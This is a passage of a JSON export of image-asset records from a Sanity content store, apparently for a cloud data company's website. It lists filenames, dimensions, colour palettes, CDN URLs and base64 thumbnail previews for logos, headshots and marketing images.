#fff"}}},"mimeType":"image/png","originalFilename":"example-of-dashboard.png","path":"images/sczeoy4w/production/4a58dd451d982567fb355c9f2bbf4948d9995005-2782x1542.png","sha1hash":"4a58dd451d982567fb355c9f2bbf4948d9995005","size":540431,"uploadId":"Bxs81SKrwhLiO0eifeBdw2AcycfoxshK","url":"https://cdn.sanity.io/images/sczeoy4w/production/4a58dd451d982567fb355c9f2bbf4948d9995005-2782x1542.png"} {"_createdAt":"2024-03-12T13:17:06Z","_id":"image-4a77c0220451aa80173de363e84bdd4d8c01c9d7-3000x3000-jpg","_rev":"YZDTfZCd9Sx4xq41jg2I8F","_type":"sanity.imageAsset","_updatedAt":"2024-03-12T13:17:06Z","assetId":"4a77c0220451aa80173de363e84bdd4d8c01c9d7","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eAC?ZV-V005Q-6}Rxa9uIot80gNG^P%2NG56NG=|%2V?MxbHs:s:X9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":3000,"width":3000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAUEBgH/xAAkEAABAwMEAQUAAAAAAAAAAAABAAIDBAURBhITITEUQWGBkf/EABgBAAMBAQAAAAAAAAAAAAAAAAIEBQAD/8QAHREAAgIDAAMAAAAAAAAAAAAAAAECAxEhMRITUf/aAAwDAQACEQMRAD8A5jRllguFbGyrndDCO3Frck/CsaqslNbpB6V0j6d/hzxg5UTT99Nr2yAAsPTgVT1JfDdXRNIEe1u7DTkfqzqsclhBe+lVvL2jj6mINmcB4ReVcpbOQcH7RF4v4clOL3kxU0r+JuTnI7ytvO8wNPQOPZEVePCHPpKnmfyntERLPoxFaP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d484e","foreground":"#fff","population":1.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#054a7e","foreground":"#fff","population":2.85,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c79e95","foreground":"#000","population":9.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c79e95","foreground":"#000","population":9.59,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecbfab","foreground":"#000","population":0.46,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#91776c","foreground":"#fff","population":6.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b05448","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"nathen-harvey-3000.jpg","path":"images/sczeoy4w/production/4a77c0220451aa80173de363e84bdd4d8c01c9d7-3000x3000.jpg","sha1hash":"4a77c0220451aa80173de363e84bdd4d8c01c9d7","size":3649856,"uploadId":"T1iS2XuOnCjy8MM1qL1JfZdkyPiiKLOH","url":"https://cdn.sanity.io/images/sczeoy4w/production/4a77c0220451aa80173de363e84bdd4d8c01c9d7-3000x3000.jpg"} {"_createdAt":"2022-08-29T14:07:11Z","_id":"image-4a996f17e9d42c2aaef73d663d7cce3207f8bba4-172x29-svg","_rev":"BBSsdcKfQe4E5jW8Uy1a3N","_type":"sanity.imageAsset","_updatedAt":"2022-08-29T14:07:54Z","altText":"Digital Ocean logo","assetId":"4a996f17e9d42c2aaef73d663d7cce3207f8bba4","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"41AKEq~qIC?vtQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.931034482758621,"height":29,"width":172},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAkUlEQVQImS2OQUvCcRBE/1/CtFsgCHbrJCp49CBBlKQpPoQXYyF4ELrmZ5cf7GFg2J19Ox3mhvnHXDELzDNmhnnBPGGGmHH5EWaCmZbvY3qYB8wA89hhxOww35gVZo5ZYw41p9T8EbOv/RvmFfOB2WC+MJ8N2ILnarisBi3cjv9K7ekJ84vZYt4L2uA/mEsxDncwT1aLghkxOgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a3c44","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0c","foreground":"#fff","population":1.88,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0c","foreground":"#fff","population":1.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#267272","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bdddd","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#747575","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbfbf","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-digital-ocean-dark.svg","path":"images/sczeoy4w/production/4a996f17e9d42c2aaef73d663d7cce3207f8bba4-172x29.svg","sha1hash":"4a996f17e9d42c2aaef73d663d7cce3207f8bba4","size":5192,"title":null,"uploadId":"KImA8E3aGErLmNd4LPUk81pe0AnMu2zG","url":"https://cdn.sanity.io/images/sczeoy4w/production/4a996f17e9d42c2aaef73d663d7cce3207f8bba4-172x29.svg"} {"_createdAt":"2022-06-30T11:58:23Z","_id":"image-4acffaa8ff0cf0acff2cdf818ab3eae25a29d0d1-443x219-png","_rev":"QRl2cGoCgj0FlAhkRrhltq","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:36Z","assetId":"4acffaa8ff0cf0acff2cdf818ab3eae25a29d0d1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6R:E7-;^+x]?vE1RPxaM_tQ_NWBE1%MeT","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0228310502283104,"height":219,"width":443},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABfklEQVQokWWS227bMAxA8/9ftYcBXTF0LZABS2onTWzJN0kUrStFvQx2hmHFziPJAxIkD2Un5+y9N2CUUtPGvDpXSiEqfwvCTs6ZiHjn4Jxb19Vaa3YAQO9sce8WqzUaRASAZUdrA9Y652KMB0Q0Wo3iLu4fQoppUbi6EDyo6Xz++eP82vStHKSUshd9L4QchmVZEHGTiQhB982xff12/P50em+tC1xIydvb85eXt6dLd+lF3+309/vY3ayacgyllEOtNXg3dm13fGmev95OJ+cDM1ujbu2vj2sjpRyGrbXou+nSwPUc9cCUa62bXEqJwTswOA64zDFEouKcn+dZSjGNIwBYa+dRzpfGi66Elbn8kR9w5RQTaG3UHL3LKSHiOI5KqRhjzmTATINEMCkmLp/lWmvOWatpFtdgVd3PAwCISES11pQzOgdgUC85rJX5k0xEK8JqJtpzzJxSyjkz82M2InKrRSUTan4s7F85xu0N6qP6f5i3x4meUmAuvwHy3zGf32FM3gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#744324","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#643a1f","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#af7c60","foreground":"#fff","population":0.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4d4ac","foreground":"#000","population":0,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8a797","foreground":"#000","population":0.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af7c60","foreground":"#fff","population":0.57,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b86a3a","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4acffaa8ff0cf0acff2cdf818ab3eae25a29d0d1-443x219.png","path":"images/sczeoy4w/production/4acffaa8ff0cf0acff2cdf818ab3eae25a29d0d1-443x219.png","sha1hash":"4acffaa8ff0cf0acff2cdf818ab3eae25a29d0d1","size":24030,"uploadId":"cGsZ84vb1QOXyZpKXsyT2ryh2T8O5tev","url":"https://cdn.sanity.io/images/sczeoy4w/production/4acffaa8ff0cf0acff2cdf818ab3eae25a29d0d1-443x219.png"} {"_createdAt":"2022-09-15T11:44:32Z","_id":"image-4ad07b9ba92fc2d8458db190b79c9271d2de5760-1200x630-jpg","_rev":"oP937kX6v07bcvrIPImzh5","_type":"sanity.imageAsset","_updatedAt":"2022-09-15T11:44:32Z","assetId":"4ad07b9ba92fc2d8458db190b79c9271d2de5760","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MSP?gw*0xuMI%#b_RPsAXmoMtmMdX7xbVs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGCP/EACMQAAICAQMDBQAAAAAAAAAAAAECAwQABQYREiFxFBUxQZH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAAL/xAAeEQACAgEFAQAAAAAAAAAAAAABAgADEQQSISJBkf/aAAwDAQACEQMRAD8A0JJRkaR2FydQx56Qew8ZJ70v2NOhr+kts0teUPJ1twSuWEQAsue/7k7uGhVt7j09bEKupUkg/fnK3cV6mPpqw9mG8yfnMa7X1T3bRobbEdTcg8DjuMMY1q8NaERQRrHGvwqjgDDNVghQDBsYMxKjAn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#594842","foreground":"#fff","population":0.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc1438","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cfbda0","foreground":"#000","population":1.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfbda0","foreground":"#000","population":1.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5d65f","foreground":"#000","population":0.14,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac688c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7640d","foreground":"#fff","population":0.66,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"About_Aiven_meta_preview.jpeg","path":"images/sczeoy4w/production/4ad07b9ba92fc2d8458db190b79c9271d2de5760-1200x630.jpg","sha1hash":"4ad07b9ba92fc2d8458db190b79c9271d2de5760","size":180095,"uploadId":"V868h6n2TQ5Swamw8zYushlwZzlvHtPO","url":"https://cdn.sanity.io/images/sczeoy4w/production/4ad07b9ba92fc2d8458db190b79c9271d2de5760-1200x630.jpg"} {"_createdAt":"2024-01-04T14:17:33Z","_id":"image-4b0950a899f8397094fa149c02509a5c3dd4812a-1264x250-svg","_rev":"O0EfMG90JIl2OD8UsE4ai5","_type":"sanity.imageAsset","_updatedAt":"2024-01-04T14:17:33Z","assetId":"4b0950a899f8397094fa149c02509a5c3dd4812a","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"49PseacE+x{c%2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.056,"height":250,"width":1264},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAABSklEQVQYlQXBy0vCYAAA8P15ER06Bp2CDp2iDl0iCTpEYXmqoIiyAsuo5RNNa8vHdGs65749vm8Pp9+mbpI1JtS134/4G7v3v7pSmjn9s3DiRUKkkIGuPgcTb2eG7fNQA4VgiGPB0NmbSu3sFMqJwBtt/yD15qvbzn87g1jo4tNQA/mg30sS0w4vjtn6aNhmywCBKwYIsA4EtWEYl7xqUZ+i5ggaTPd05s5oZyyrmxc8pXqBGZrt0eWBK/BprKOyKcvYhBAQfilL4WIG9t9yT7RQiyXFJvcgss0kAMcvLT2V4qBSFKRbTSFPUOdaNMU47XOJKC6Qr1aOlJyPUtzW1EcIkQwR+iBcjlm3OeaozzdWW5q4UIHSbgWCCG3o81XZXKtLepRV4bJp1hYtSO3biNry5Pc5u1ndMBu1A7fDL01GwxVv4h96vrf5D/so+YeAGkiwAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#293947","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04845c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ecb232","foreground":"#000","population":2.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#caaabc","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efbca0","foreground":"#000","population":0.43,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a66c84","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecb232","foreground":"#000","population":2.36,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"g2-reviews-badges-winter.svg","path":"images/sczeoy4w/production/4b0950a899f8397094fa149c02509a5c3dd4812a-1264x250.svg","sha1hash":"4b0950a899f8397094fa149c02509a5c3dd4812a","size":153511,"uploadId":"jUdwbq1t1cXOefR2W8ithCNqLNJP0grz","url":"https://cdn.sanity.io/images/sczeoy4w/production/4b0950a899f8397094fa149c02509a5c3dd4812a-1264x250.svg"} {"_createdAt":"2023-12-22T08:42:26Z","_id":"image-4b0a4645242799fa638268ef6081968b34c71cce-1200x630-jpg","_rev":"sg5cBJWkRHo7pkcz4ScFop","_type":"sanity.imageAsset","_updatedAt":"2023-12-22T08:42:26Z","assetId":"4b0a4645242799fa638268ef6081968b34c71cce","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEA+tN7LR#|;14-qozR%V[S513^3sS5q^0","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUDBgf/xAAhEAACAQQCAgMAAAAAAAAAAAABAgMABAURBiETMRRRYf/EABUBAQEAAAAAAAAAAAAAAAAAAAMG/8QAGxEAAwADAQEAAAAAAAAAAAAAAQIDABJBIVH/2gAMAwEAAhEDEQA/AMZx99i0hjEtoTIo0TodmnHGsZZcgyEyXEiWkSrtQvWzVWDH4iDr39VAZHjdzG7Kfw6qhrN6RZZtqT35hQdJ1DUXYDmMMrZ21rkbiBW8ixsVDA+6KUSsxkJJJNFKjaqFb0juG5DMSvgz/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#683e60","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c6e","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d77d5d","foreground":"#fff","population":15.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7c82b9","foreground":"#fff","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4a994","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f93","foreground":"#fff","population":0.85,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d77d5d","foreground":"#fff","population":15.06,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Pricing calculator_meta_preview_image_1200x630.jpg","path":"images/sczeoy4w/production/4b0a4645242799fa638268ef6081968b34c71cce-1200x630.jpg","sha1hash":"4b0a4645242799fa638268ef6081968b34c71cce","size":168311,"uploadId":"ZpExcidhEw6FmIVZg5Iuzn9rx5LGh1xa","url":"https://cdn.sanity.io/images/sczeoy4w/production/4b0a4645242799fa638268ef6081968b34c71cce-1200x630.jpg"} {"_createdAt":"2022-10-13T16:53:18Z","_id":"image-4b1484b6679b8ab3524b3de06f05443107219cb9-512x512-jpg","_rev":"y7Iq3RNY29xxnsCusR0MWC","_type":"sanity.imageAsset","_updatedAt":"2022-10-13T16:53:18Z","assetId":"4b1484b6679b8ab3524b3de06f05443107219cb9","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ewM*25Vr%g%1M{~WNGRjWVaxW=RkV@WWxut7s:bIoJWCRjoef+aeay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAcFBgj/xAAmEAACAQQABgEFAAAAAAAAAAABAgMABAURBgcSEyFBMRQiUWFx/8QAFwEAAwEAAAAAAAAAAAAAAAAAAwQFAv/EACMRAAIBAwEJAAAAAAAAAAAAAAECAAMRMSEEBRIyM0FCcfD/2gAMAwEAAhEDEQA/ALt3vvLyED2TWhwxmLDKNKtlcpK0R04Ho1xvGGRt7LCzx3V5HayzRkK7fO/5XCcpMhvJSyfXKkakqVJ0ZD+RQ7G40hBw2OuJ6Ke5iRtFhulSTMZS5gyMyd99A+PPqlPrsjMAbyW28UVipGJIOY+Rub7iq7S5k6kiPQi+gKzcDM8Syds9JVgQR87pSiJhZl/P7vKzlmMk0Tt5ZokJP71SlKcpcgkiv1G9z//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#345a6f","foreground":"#fff","population":8.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14425a","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#345a6f","foreground":"#fff","population":8.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#accbd5","foreground":"#000","population":0.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c9eaf4","foreground":"#000","population":0.22,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#598da3","foreground":"#fff","population":2.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#61adc9","foreground":"#000","population":2.96,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"ben-gamble.jpeg","path":"images/sczeoy4w/production/4b1484b6679b8ab3524b3de06f05443107219cb9-512x512.jpg","sha1hash":"4b1484b6679b8ab3524b3de06f05443107219cb9","size":54144,"uploadId":"oBUjnsrBmBKK0zeTT9HpSTQDtfnv71SO","url":"https://cdn.sanity.io/images/sczeoy4w/production/4b1484b6679b8ab3524b3de06f05443107219cb9-512x512.jpg"} {"_createdAt":"2024-02-28T14:48:48Z","_id":"image-4b28092cc966310e3480d6399d68bcacd57f5afe-1921x1080-png","_rev":"w5AXxS2dRCMjAjCd4bXAYy","_type":"sanity.imageAsset","_updatedAt":"2024-02-28T14:48:48Z","assetId":"4b28092cc966310e3480d6399d68bcacd57f5afe","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCC=DT0;}S#j16x]t8RjR*smF2,:f5JB$f","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7787037037037037,"height":1080,"width":1921},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC20lEQVQokVWQ3W9TdRzG+wdMaLu+na4vK2zttm5jXZeFNaPjtNgW6tad9vTtrKc9fWEd00CmSGeCmmiiaNRdGCIRQQIEwRCmQEzkhhgTr/ybfh9zOi/04pPn+d48eZ6vxSapwhvShH9SxzfRGOp4pDUkEG4SjDQJhlv4w11C4YvIMY23U+t8lM/z4brK9Y0G31aL3Nqq8FV9G4vLXxUzsW2xfOYKy6uXh5qQ32U1/R4rZ/eOfOoqy8n3WTq9R3HN4PpGgW/UHJ9tFvi4oHFHu8DPrSx3m2UsrkBNnFq+JM5mriHnBiJ9fp838x/8Dzk7YEUesJbaZ6e4y81OhQftLN9VMxyoGzxpyrzorPHIKGBx+CoiutgXyXNXSeUGIpUbIGevDTF9Qt5jJtbnxEyfhfg79PM694wMz7srPG4kuFXNcUfL8/1WmS9ql7BYPSURmNTN2cwt7YjZeJ/oYp/Z+I55MxHt4A7UsXkbhE4adJJ5fqov8LoT5lV7jodbMjdrCjcqXQalfSzHXEVhhtolFbu3LOzeMv/FJqkcd5c47tEIhJoYq+d5pk3x90U/f3YjHDZP81hPcbtR4vPaLpY3nIoYMXEojDg2xYhj01T+vYd6zFXCKmlIwTYXlsrcLsX5qxfiZSvGvXqa50aCX9ppDrSe2VARNrciRj1F7JIqzEZWT2nYyuoxvdlQxSZpOANdFqNtBpkML/Qov7UWuK+l+NVI8Hsvwd1mFYvVpYjQ2KaYPlFhKtoWk7NdvCENp7/CeLjBeKSBw1cdNnSZgbNtLqff4ql2ij+6UzzRkzzSz/Gyk+Swk8NicyliwlcQ85MV5hZ6Yjq2je9kAylYZWZeJzqv4wkcBboDHeJRg93UOg+qSxzqcQ7UAl+qNX7YUvhRLx1NtrsV4ZSKOMbKYnSsMpxpl4r4ggr+oMKoZP6wjtPfYTrSpbGq8HXhDDcKOXayPa7k+3xaMvhE3eYfegOY+MB5Nw4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#37395a","foreground":"#fff","population":0.67,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":30.84,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":30.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0b7d7","foreground":"#000","population":0.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6e9f5","foreground":"#000","population":3.18,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#995b59","foreground":"#fff","population":3.28,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e66d15","foreground":"#fff","population":3.26,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"How an Open Source Cloud Data Platform Drives Transformation[1].png","path":"images/sczeoy4w/production/4b28092cc966310e3480d6399d68bcacd57f5afe-1921x1080.png","sha1hash":"4b28092cc966310e3480d6399d68bcacd57f5afe","size":261795,"uploadId":"RN9div853amdA9n91dkNGx9OQdKu9Cf9","url":"https://cdn.sanity.io/images/sczeoy4w/production/4b28092cc966310e3480d6399d68bcacd57f5afe-1921x1080.png"} {"_createdAt":"2022-10-14T09:34:51Z","_id":"image-4b392ed6d565ebee5be682ca4194e851fb4cdf0f-1600x616-png","_rev":"7DeyPwpQZB2IZxALzqryJU","_type":"sanity.imageAsset","_updatedAt":"2022-10-14T09:41:24Z","altText":"From Jun Rao's keynote, presenting a slide saying \"Kafka is the defacto standard for DATA IN MOTION\"","assetId":"4b392ed6d565ebee5be682ca4194e851fb4cdf0f","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5974025974025974,"height":616,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAAB80lEQVQYlQHoARf+ABQFERcFEhoGExkGEhoGERwIFx8NJiENJCEKGiEKGCIJGSEJGR8HFx0FFh0EFh4FGx4FIx4EIR8EHB8EGwAlBh5LCipdDzJbEzJeEC9lEC5pEzBqEzFqETBpEDJpDzdpDTtoCz1nCT9nCUNnCUloCVBnCFNlCFVgCVQAOQcphRJKrCllrDVqqyJXsRhHtRtAtB5CsiBHsB9Lrh5QrhtWrRpbrBlhrBhnqxhsqRVxpxB2oQ15lgx2AD4HKJgeXcpRl8xfn8QxcsUZUsofSMsrTsw4Wcs4W8k0Wsg0Xsg0Y8c3acY1bsU0csMvdr8fdbcRc6oOcAA7ByWIIV+zW6G6Zai5M3i8GFfAHE7CK1TCOl3EO1zGNVfHNFfEN1m+OVu+N17GN2THNGnFJme7FWSlEGAAKAcnTBRFYzFmbzdreB5YfBBIgBJEgRpHeiFGfyJDhhw/iBtAgRw9dBo5eRo8jBxDlBxHmRlLjxNMcQ5EABYINhsILx4MLyMOMScKMSgHLikILykLNyULMScLLSsKNCwKOykKMyMIKScIKTEJKjcKJj0KKzsLMywJNQAUCkcTBywRBiQQBykQBigPBiQOBSgNBjQMBjIMBjcOB0kOCVQPCEAPBikPBigQBycRBh0RBh0UBzIWCUUlm3nbCDKCKwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c342c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8f0522","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d61a53","foreground":"#fff","population":5.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#782065","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9aedc","foreground":"#000","population":4.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#881034","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d61a53","foreground":"#fff","population":5.04,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"content-2022-keynote-Jun-Rao.png","path":"images/sczeoy4w/production/4b392ed6d565ebee5be682ca4194e851fb4cdf0f-1600x616.png","sha1hash":"4b392ed6d565ebee5be682ca4194e851fb4cdf0f","size":267638,"title":"Jun Rao giving his keynote","uploadId":"wt2mzD4U0QoS0laoPYv2A614HCr9UyLG","url":"https://cdn.sanity.io/images/sczeoy4w/production/4b392ed6d565ebee5be682ca4194e851fb4cdf0f-1600x616.png"} {"_createdAt":"2022-06-15T20:02:37Z","_id":"image-4b49a1ad21b7341cef858dcad62875da240960bb-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriKuR","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:59Z","assetId":"4b49a1ad21b7341cef858dcad62875da240960bb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB6[XptmRPn#Rk?wxtRjWCWAtSoJa$ogjY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACr0lEQVQokTWSaW8aZxSFx2wGxyRpDA6Wl6bxDDMvDAPDZrt2mrXZCGAabIZlWIwXHCtOmi6RU9rIddxKVVUpv/ipZmg/PNL7fjnn3HOvFDRPuFY85draG8KFU0LZE2Yyx1w3D4lkD5kz95nLDJkz+k